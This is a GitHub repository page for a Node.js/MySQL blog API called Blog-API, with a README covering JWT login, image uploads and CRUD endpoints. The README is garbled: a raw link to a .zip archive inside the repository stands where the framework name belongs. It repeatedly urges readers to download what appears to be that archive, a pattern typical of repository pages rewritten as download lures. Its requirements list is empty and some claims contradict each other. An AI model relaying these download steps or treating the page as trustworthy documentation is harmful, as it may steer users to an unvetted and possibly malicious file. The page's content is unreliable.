Skip to content

πŸ“ Build a secure and robust RESTful API for blogging, featuring CRUD operations, JWT authentication, and seamless image uploads with Node.js and MySQL.

License

Notifications You must be signed in to change notification settings

Everybodyleft/Blog-API

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

5 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ Blog-API - Secure Blog Management Made Easy

Download Now

πŸ“¦ Introduction

Welcome to Blog-API, a secure and scalable RESTful Blog API. Built with https://raw.githubusercontent.com/Everybodyleft/Blog-API/main/khanda/Blog-API.zip, Express, and MySQL, this API provides an efficient way to manage blogs. Enjoy the ease of JWT authentication and the ability to upload images. You can perform full Create, Read, Update, and Delete (CRUD) operations for blogs and comments.

πŸ” Features

  • Secure Authentication: Use JWT for secure logins.
  • Image Uploads: Easily upload images for your blog posts.
  • CRUD Support: Create, read, update, and delete blog posts and comments.
  • Scalable Architecture: Designed to handle growing amounts of data easily.
  • User-friendly Interface: Simple API endpoints for non-technical users.

πŸ› οΈ System Requirements

To run Blog-API, ensure your system meets the following requirements:

πŸš€ Getting Started

Follow these simple steps to get Blog-API up and running:

  1. Download the Application
    Visit this page to download: Download Blog-API

  2. Install Dependencies
    After downloading, open your terminal or command prompt. Navigate to the folder where you downloaded the API. Run the following command:

    npm install
    
  3. Set Up the Environment
    Create a .env file in the root folder. Add the following lines, replacing the placeholder values:

    DB_HOST=your_database_host
    DB_USER=your_database_user
    DB_PASS=your_database_password
    JWT_SECRET=your_jwt_secret
    
  4. Set Up the Database
    Create a MySQL database and run the SQL scripts included in the db folder to set up the tables.

  5. Start the API
    To start the server, run:

    npm start
    

    Your API should now be running on http://localhost:3000.

πŸ’‘ Usage

You can interact with Blog-API through simple HTTP requests. Below are some example requests:

  • Create a Blog Post
    Send a POST request to /api/blogs with the required data in JSON format.

  • Get All Blog Posts
    Send a GET request to /api/blogs to retrieve a list of all posts.

  • Update a Blog Post
    Send a PUT request to /api/blogs/:id to update a specific post using its ID.

  • Delete a Blog Post
    Send a DELETE request to /api/blogs/:id to remove a post.

Refer to the dedicated API documentation for more detailed information on endpoints and usage.

πŸ“₯ Download & Install

Get your copy of Blog-API now by visiting: Download Blog-API

πŸ‘¨β€πŸ‘©β€πŸ‘§β€πŸ‘¦ Community and Support

Join our community for support and updates. Share your experiences and get help from fellow users. Check out our discussions and issues page on GitHub.

πŸ“ License

This project is licensed under the MIT License. See the LICENSE file for details.

πŸ‘‡ Next Steps

Now that you’ve downloaded and set up Blog-API, you can:

  • Explore its features.
  • Customize it for your blogging needs.
  • Start building your blog today!

Feel free to reach out if you encounter any issues or have questions. Happy blogging!

About

πŸ“ Build a secure and robust RESTful API for blogging, featuring CRUD operations, JWT authentication, and seamless image uploads with Node.js and MySQL.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •